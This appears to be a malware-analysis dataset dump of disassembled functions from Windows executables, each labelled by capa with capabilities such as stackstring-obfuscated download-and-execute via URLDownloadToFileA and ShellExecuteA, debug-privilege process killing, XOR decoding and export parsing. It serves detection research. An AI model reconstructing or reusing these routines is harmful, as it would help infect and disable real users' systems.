joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4110d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
lea eax, [esp + 0x10]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov bl, 0x6c
push eax
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x68
mov byte [esp + 0x1a], 0x65
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x33
mov byte [esp + 0x1e], 0x32
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
call esi
lea ecx, [esp + 8]
mov dword [0x43289c], eax
push ecx
mov byte [esp + 0xc], 0x75
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xe], bl
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x6f
mov byte [esp + 0x11], 0x6e
mov byte [esp + 0x12], 0x2e
mov byte [esp + 0x13], 0x64
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4328a0], eax
mov eax, dword [0x43289c]
lea edx, [esp + 0x20]
push edx
push eax
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], 0x68
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x78
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x63
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0x41
mov byte [esp + 0x35], 0
call esi
mov edx, dword [0x4328a0]
lea ecx, [esp + 0x30]
push ecx
push edx
mov dword [0x4321fc], eax
mov byte [esp + 0x38], 0x55
mov byte [esp + 0x39], 0x52
mov byte [esp + 0x3a], 0x4c
mov byte [esp + 0x3b], 0x44
mov byte [esp + 0x3c], 0x6f
mov byte [esp + 0x3d], 0x77
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0x54
mov byte [esp + 0x44], 0x6f
mov byte [esp + 0x45], 0x46
mov byte [esp + 0x46], 0x69
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x65
mov byte [esp + 0x49], 0x41
mov byte [esp + 0x4a], 0
call esi
mov dword [0x4329a4], eax
mov esi, dword [esp + 0x4c]
mov ecx, dword [esp + 0x48]
push 0
push 0
push esi
push ecx
push 0
call eax
push 5
push 0
push 0
push esi
push str.open
push 0
call dword [0x4321fc]
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x412a40
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
sub esp, 0x238
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.00412e80
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x412aa4
pop edi
xor eax, eax
pop esi
add esp, 0x238
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov ebx, 1
push ebx
mov byte [ebp], 0x81
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x412bfa
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x412be7
cmp eax, 4
je 0x412be7
cmp eax, 8
je 0x412be7
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call fcn.00424ee1
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x144]
push 0x104
push ecx
push edx
push esi
call fcn.00424ecf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x144]
mov esi, eax
push ecx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x412b72
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x412ae0
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.00412e80
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x238
ret
Function at 0x412e00
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.00412e80
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x412e57
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x412e28
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.00412e80
add esp, 8
call fcn.00412df0
mov ecx, edi
call fcn.00412c30
mov ecx, edi
call fcn.00412c60
pop edi
pop esi
pop ebx
pop ecx
ret 8

Function at 0x4134d0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.0041ab8e
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41353e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call fcn.00424090
add esp, 8
test eax, eax
jne 0x41351c
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x41353e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x413514
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x413527
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x413550
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x4134a0
push eax
push ecx
call fcn.0041c63e
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4137b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x4137fa
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x4137fa
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x413817
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x413817
call fcn.00413630
pop edi
pop esi
add esp, 0x9c
ret
call fcn.004135d0
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x413a10
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [0x4312c8]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x413a53
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [0x4312c4]
mov ebx, eax
cmp ebx, ebp
jne 0x413a7d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x413b0f
mov ebp, dword [0x4312c0]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x413ad1
cmp word [esp + 0x24], 0x5a4d
jne 0x413af8
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x413b00
jmp 0x413aa5
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [0x4312bc]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
or esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
push edx
pop edi
rep stosb byte es:[edi], al
pop edi
push edx
pop eax
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
push esi
pop eax
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
push esi
pop eax
sub eax, edi
push eax
pop esi
or eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x4022e0
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push dword [0x40374f]
call dword [sym.imp.pdh.dll_PdhCloseQuery]
mov eax, 5
add eax, 5
inc eax
xor edi, edi
xor esi, esi
test eax, 0xb
jne 0x40230e
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x401775], eax
ret
Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret

Function at 0x914584
Capabilities:
Encode data using xor

Disassembly:
jmp 0x91458e
pushal
call 0x914594
pop ebp
sub ebp, 0x10
sub ebp, 0x514584
jmp 0x9145aa
mov eax, 0x514584
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f4
mov edx, 0x74c8d33a
xor byte [eax], dl
inc eax
dec ecx
jne 0x9145c1
jmp 0x9145d4
mov cl, 0xf7
mov cl, 0xb3
push es
cmp bh, byte [edx]
cmp bh, byte [ebx + 0x3a3ac2fb]
cmp bh, byte [ecx]
test dword [edx + 0x3a3a3a3c], 0x3a3a1280
cmp cl, ch
fdivr dword [ecx]
mov cl, 0xbb
cmp bh, byte ss:[edx]
cmp bh, byte [ecx]
push dword [edi - 0x4c39e1a2]
push ds
mov bh, 0x5e
push ds
invalid
Function at 0x410d90
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x410db5
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x410dcd
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x410dfc
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x410e3e
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x410f12
sub edx, 0x10000
js 0x410f12
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x410e24
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x410e24
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x410e95
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x410e92
add edx, 8
jne 0x410e79
jmp 0x410f03
add edx, 4
test eax, 0xffff
jne 0x410ea2
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x410f03
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x410ed6
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x410e24
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x410f12
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x410e24
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x410f23
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x418ad8
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esi
push edi
mov edi, ecx
xor esi, esi
mov eax, dword [edi + 4]
sub eax, esi
je 0x418b2a
dec eax
je 0x418b23
dec eax
je 0x418af3
xor al, al
jmp 0x418b79
mov ecx, dword [edi + 8]
cmp dword [esp + 0x14], esi
jbe 0x418b1c
mov edx, dword [esp + 0x10]
movzx eax, byte [esi + edx]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x43a120]
inc esi
cmp esi, dword [esp + 0x14]
jb 0x418b00
mov dword [edi + 8], ecx
mov al, 1
jmp 0x418b79
mov ebp, 0x8004
jmp 0x418b2f
mov ebp, 0x8003
call fcn.00418a2e
test al, al
je 0x418aec
push ebx
lea ebx, [edi + 0xc]
cmp dword [ebx], esi
jne 0x418b57
push ebx
push esi
push esi
push ebp
push dword [edi + 8]
call dword [0x43c030]
test eax, eax
jne 0x418b57
mov dword [ebx], esi
xor al, al
jmp 0x418b78
cmp dword [esp + 0x18], esi
jne 0x418b61
mov al, 1
jmp 0x418b78
push esi
push dword [esp + 0x1c]
push dword [esp + 0x1c]
push dword [ebx]
call dword [0x43c0a8]
dec eax
neg eax
sbb eax, eax
inc eax
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x41c085
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
push 0x40
mov edi, edx
mov esi, ecx
push ebx
push edi
call dword [0x43c27c]
test eax, eax
je 0x41c116
mov ecx, dword [esi + 0x3c]
mov eax, edi
sub eax, esi
add ecx, esi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
lea edx, [eax + ebx]
push edx
push eax
push dword [ecx + 0x34]
mov dword [ebp - 8], edx
mov ecx, esi
mov edx, esi
call fcn.0041f494
xor ecx, ecx
mov edx, ecx
test ebx, ebx
je 0x41c0f3
and dword [ebp + 8], 0
movzx eax, cl
mov al, byte [ebp + eax + 0xc]
xor byte [edx + edi], al
inc cl
cmp cl, 4
movzx eax, cl
cmove eax, dword [ebp + 8]
inc edx
mov cl, al
cmp edx, ebx
jb 0x41c0d2
push dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov ecx, esi
push dword [ebp - 0xc]
push esi
mov edx, dword [edx + 0x34]
call fcn.0041f494
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push edi
call dword [0x43c27c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x41f2ae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
push ebx
push ebp
mov ebp, edx
mov dword [esp + 0x14], ecx
mov edx, dword [ecx + 0x3c]
push esi
push edi
xor esi, esi
mov edi, dword [edx + ecx + 0x78]
add edi, ecx
mov dword [esp + 0x18], edi
mov ebx, dword [edi + 0x1c]
add ebx, ecx
mov dword [esp + 0x2c], ebx
cmp ebp, 0xffff
jbe 0x41f373
mov eax, dword [edi + 0x24]
mov ebx, esi
add eax, ecx
mov dword [esp + 0x28], eax
mov eax, dword [edi + 0x20]
add eax, ecx
mov dword [esp + 0x20], eax
cmp dword [edi + 0x18], ebx
jbe 0x41f395
movzx edx, byte [ebp]
mov dword [esp + 0x24], edx
mov eax, dword [eax + ebx*4]
add eax, ecx
mov dword [esp + 0x14], eax
mov al, byte [eax]
mov byte [esp + 0x13], al
movzx eax, al
sub edx, eax
jne 0x41f342
mov edi, dword [esp + 0x14]
mov esi, ebp
mov cl, byte [esp + 0x13]
sub esi, edi
test cl, cl
je 0x41f338
inc edi
mov cl, byte [edi]
movzx edx, byte [esi + edi]
movzx eax, cl
sub edx, eax
je 0x41f326
mov edi, dword [esp + 0x18]
xor esi, esi
mov ecx, dword [esp + 0x1c]
test edx, edx
js 0x41f352
xor eax, eax
inc eax
test edx, edx
cmovg edx, eax
test edx, edx
je 0x41f362
inc ebx
cmp ebx, dword [edi + 0x18]
jae 0x41f392
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
jmp 0x41f304
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x2c]
movzx eax, word [eax + ebx*2]
mov eax, dword [edx + eax*4]
jmp 0x41f38b
movzx edx, bp
cmp edx, dword [edi + 0x10]
jb 0x41f3aa
mov eax, dword [edi + 0x14]
add eax, dword [edi + 0x10]
cmp edx, eax
ja 0x41f3aa
sub edx, dword [edi + 0x10]
mov eax, dword [ebx + edx*4]
test eax, eax
je 0x41f3aa
lea esi, [eax + ecx]
mov edx, dword [ecx + 0x3c]
cmp esi, edi
jb 0x41f3a6
mov ecx, dword [edx + ecx + 0x7c]
xor eax, eax
add ecx, edi
cmp esi, ecx
cmovb esi, eax
mov eax, esi
jmp 0x41f3ac
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret

Function at 0x42053e
Capabilities:
Parse pe header

Disassembly:
push 0x24
push 0x438978
call fcn.00412424
mov edi, edx
push 0x1c
lea eax, [ebp - 0x34]
push eax
push ecx
call dword [0x43c118]
and dword [ebp - 4], 0
mov eax, 0x5a4d
mov ecx, dword [ebp - 0x30]
cmp word [ecx], ax
jne 0x4205a2
mov edx, dword [ecx + 0x3c]
cmp dword [edx + ecx], 0x4550
jne 0x4205a2
mov esi, dword [edx + ecx + 0xd8]
lea eax, [esi + ecx]
cmp edi, eax
jb 0x4205a2
mov eax, dword [edx + ecx + 0xdc]
add eax, esi
add eax, ecx
cmp edi, eax
jae 0x4205a2
or dword [ebp - 4], 0xffffffff
mov al, 1
jmp 0x4205a8
or dword [ebp - 4], 0xffffffff
xor al, al
call fcn.0041245f
ret